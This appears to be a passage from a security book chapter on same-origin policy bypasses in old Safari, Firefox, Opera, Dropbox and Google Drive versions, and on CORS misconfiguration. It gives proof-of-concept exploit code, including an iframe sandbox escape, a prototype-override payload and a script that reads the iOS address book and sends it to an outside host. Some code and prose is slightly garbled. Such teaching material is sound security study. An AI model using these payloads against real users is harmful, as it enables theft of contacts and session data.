SOP Bypassing in Safari

To help you understand better, http://httpsecure.org and file://httpsecure are both treated as a different origin. The Safari browser (IOS and MAC) version 6.0.2 does not enforce the same origin policy when you need to access a local resource. When an attached HTML file tries to open using the file scheme, the JavaScript code contained within can bypass the SOP and start two –way communications with different origins.

Consider the following page:

<html>
<body>
<h1> I'm a local file loaded using the file:// scheme </h1>
<script>
xhr = new XMLHttpRequest(); xhr.onreadystatechange = function (){ if (xhr.readyState == 4) { alert(xhr.responseText);
}
}; xhr.open("GET", "http://httpsecure.org/docs/safari_sameoriginpolicy_bypassing/other_origin.html"); xhr.send();
</script>
</body>
</html>

Now that the page has loaded the file scheme, the XMLHTTPRequest object is able to read the response after requesting the above mentioned code.

SOP Bypassing in Firefox

Firefox is the most used browser and the same origin policy bypassing was found by Gareth Heyes in October 2012. The issue found by him is critical and the company decided to fix it and stop its distribution. The issue found in version 16 resulted in unauthorized access to the window.location object outside the constraints of the SOP.

The bypassing code is shown below.

<!Doctype html>
<script>
function poc() {
var win = window.open('https://httpsecure.org/abc/', 'newWin',
'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/httpsecure.org\/([^/]+)/.exec(
win.location)[1])
}, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">

Execution of the above code from an origin you control will also authenticate into httpsecure on a separate tab of he browser. This loads httpsecure.org/abc and the application redirects to https://httpsecure.org/ <user_uid>/lists (where user_id is your httpsecure handle). After 5 seconds, the exec function will trigger the window.location object to be parsed (here’s the bug, as it shouldn’t be accessible cross-origin) with the regex. This results in the httpsecure handle displayed in the alert box.

In August 2012, when Mozilla released its version with support for HTML 5 sandboxed iframes, BRAUN found the issue that, when using allow-script as a value of the iframe sandbox attribute, rogue/fake JavaScript from the iframe content could still access window.top. This would change the outer window.location.

<!-- Outer file, bearing the sandbox -->
<iframe src="inner.html" sandbox="allow-scripts"></iframe>

The framed code was:

<!-- Framed document , inner.html -->
<script >
// escape sandbox:
if(top != window) { top.location = window.location; }
// all following JavaScript code and markup is unrestricted:
// plugins, popups and forms allowed.
</script>

This code needs to specify with additional code allow-top-navigation, and allows JavaScript code loaded inside an iframe to change the location of window. An attacker could use this to redirect user/victim to a malicious website by hooking the victim of the browser.

Note: In HTML5, a new iframe attribute was introduced, called sandbox. The main focus of this new attribute was to have a more granular and secure way to use iframes, with the limited potential harm of third party content embedded from different origins.

The sandbox attribute value was set to be zero or the following keywords:

allow-forms,

allow-popups,

allow-same-origin, allow-scripts,

allow-top-navigation

SOP Bypassing in Opera

The same origin policy bypass was found by Heyes. The issue was critical, where Opera was not properly enforcing the same origin policy when overriding prototypes or the constructor of an iframe location object.

Let’s take following code example:

<html>
<body>
<iframe id="ifr" src="http://httpsecure.org/xdomain.html"></iframe>
<script>
var iframe = document.getElementById('ifr');
function do_something(){
var iframe = document.getElementById('ifr');
iframe.contentWindow.location.constructor.
prototype.     defineGetter__.constructor('[].constructor. prototype.join=function(){console.log("pwned")}')();
}
setTimeout("do_something()",3000);
</script>
</body>
</html>

Following is the content framed from a different origin:

<html>
<body>
<b>I will be framed from a different origin</b>
<script>
function do_join(){ [1,2,3].join();
console.log("join() after prototype override: "
+ [].constructor.prototype.join);
}
console.log("join() after prototype override: "
+ [].constructor.prototype.join);
setTimeout("do_join();", 5000);
</script>
</body>
</html>

In the above mentioned code frame, the console value of constructor.prototype.join is native code used when join() is called on an array. After a few seconds, join() method is called on the [1,2,3] array and the printing function used previously is called again. If you have a deep look back at the above mentioned code, you will see that join() prototype gets overridden inside the do_something() function.

Note: Heyes also found SOP bypass by overriding prototypes and using literal values, which were not filtered by Opera before.

In the real case scenario, this bypass only works in a frameable web application, so if the application already mitigated vulnerability like CLICKJACKING by frame busting, X-Frame-Option: deny cannot be targeted or consider mitigated.

Let’s take an example where the target browser has two tabs open in an Opera browser, where one is a hacked tab and the other is authenticated. If you create an iframe with an src tag in the authenticated origin, you can read the IFRAME content by which you can access any sensitive information.

Same Origin Policy Bypassing in Cloud Storage

If you think the same origin policy is limited to browsers and their plugins only then, consider this: cloud storage services are also vulnerable to SOP bypass. The same is also found in DROPBOX 1.4.6 on IOS and 2.0.1 on Android, and Google Drive 1.0.1 on IOS. All of these services offer you to store and synchronize files to the cloud. Roi Saltzman found this issue, which is a bit similar to Safari SOP bypass.

This bypass relies on the loading of a file in a privileged zone: File://var/mobile/application/app_uuid

If an attacker is able to trick the target into loading an HTML file through the client application, the JavaScript code contained in the file will be executed. In this attack, the file is loaded in a privileged zone which allowed JavaScript access to the local file system of the mobile device.

FYI: if the HTML file is loaded using the file scheme, nothing prevents JavaScript from accessing another file like:

file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb

The above mentioned link database contains the user’s address book on IOS. In this, if the target application denies file access outside of the application scope, you can still retrieve the cached file.

In this attack, if the user accesses this malicious link, the contents of the user address book will be sent to httpsecure.org.

<html>
<body>
<script>
local_xhr = new XMLHttpRequest();
local_xhr.open("GET", "file:///var/mobile/Library/AddressBook/
150 Chapter 4 ■ Bypassing the Same Origin Policy
AddressBook.sqlitedb"); local_xhr.send(); local_xhr.onreadystatechange = function () { if (local_xhr.readyState == 4) {
remote_xhr = new XMLHttpRequest(); remote_xhr.onreadystatechange = function () {}; remote_xhr.open("GET", "http://httpsecure.org/?f=" + encodeURI(local_xhr.responseText)); remote_xhr.send();
}
}
</script>
</body>
</html>

Same Origin Policy Bypassing in Cross-Origin Resource Sharing (CORS)

CORS is also vulnerable to the same origin policy bypass. CORS has misconfiguration of Access-Control-Allow-Origin: *

The above mentioned code is a potential misconfiguration. Research says that more than one million applications misconfigured the Access-Control-Allow-Origin header. This allows any application on the Internet to submit a cross origin request to the site and read the response.

The wild card value for the Access-Control-Allow-origin is not so insecure, if a permissive policy is used to provide content that does not contain sensitive information.